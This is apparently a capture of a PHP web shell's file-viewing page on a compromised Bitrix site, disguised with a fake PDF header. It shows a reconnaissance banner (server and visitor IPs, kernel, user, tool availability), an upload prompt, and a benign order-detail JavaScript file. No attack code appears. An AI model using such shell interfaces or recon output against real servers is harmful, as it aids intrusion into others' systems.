%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 52.15.52.31 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sale.personal.order.detail/templates/store_v3/ |
Upload File : |
BX.namespace('BX.Sale.PersonalOrderComponent'); (function() { BX.Sale.PersonalOrderComponent.PersonalOrderDetail = { init : function(params) { var listShipmentWrapper = document.getElementsByClassName('sale-order-detail-payment-options-shipment'); var listPaymentWrapper = document.getElementsByClassName('sale-order-detail-payment-options-methods'); var shipmentTrackingId = document.getElementsByClassName('sale-order-detail-shipment-id'); if (shipmentTrackingId[0]) { Array.prototype.forEach.call(shipmentTrackingId, function(blockId) { var clipboard = blockId.parentNode.getElementsByClassName('sale-order-detail-shipment-id-icon')[0]; if (clipboard) { BX.clipboard.bindCopyClick(clipboard, {text : blockId.innerHTML}); } }); } Array.prototype.forEach.call(listShipmentWrapper, function(shipmentWrapper) { var detailShipmentBlock = shipmentWrapper.getElementsByClassName('sale-order-detail-payment-options-shipment-composition-map')[0]; var showInformation = shipmentWrapper.getElementsByClassName('sale-order-detail-show-link')[0]; var hideInformation = shipmentWrapper.getElementsByClassName('sale-order-detail-hide-link')[0]; BX.bindDelegate(shipmentWrapper, 'click', { 'class': 'sale-order-detail-show-link' }, BX.proxy(function() { showInformation.style.display = 'none'; hideInformation.style.display = 'inline-block'; detailShipmentBlock.style.display = 'flex'; }, this)); BX.bindDelegate(shipmentWrapper, 'click', { 'class': 'sale-order-detail-hide-link' }, BX.proxy(function() { showInformation.style.display = 'inline-block'; hideInformation.style.display = 'none'; detailShipmentBlock.style.display = 'none'; }, this)); }); Array.prototype.forEach.call(listPaymentWrapper, function(paymentWrapper) { var rowPayment = paymentWrapper.getElementsByClassName('sale-order-detail-payment-options-methods-info')[0]; BX.bindDelegate(paymentWrapper, 'click', { 'class': 'active-button' }, BX.proxy(function() { BX.toggleClass(paymentWrapper, 'sale-order-detail-active-event'); }, this)); BX.bindDelegate(rowPayment, 'click', { 'class': 'sale-order-detail-payment-options-methods-info-change-link' }, BX.proxy(function(event) { event.preventDefault(); var btn = rowPayment.parentNode.getElementsByClassName('sale-order-detail-payment-options-methods-button-container')[0]; var linkReturn = rowPayment.parentNode.getElementsByClassName('sale-order-detail-payment-inner-row-template')[0]; BX.ajax( { method: 'POST', dataType: 'html', url: params.url, data: { sessid: BX.bitrix_sessid(), orderData: params.paymentList[event.target.id], templateName : params.templateName, returnUrl: params.returnUrl, }, onsuccess: BX.proxy(function(result) { rowPayment.innerHTML = result; if (btn) { btn.parentNode.removeChild(btn); } linkReturn.style.display = "block"; BX.bind(linkReturn, 'click', function() { window.location.reload(); },this); },this), onfailure: BX.proxy(function() { return this; }, this) }, this ); }, this)); }); } }; })();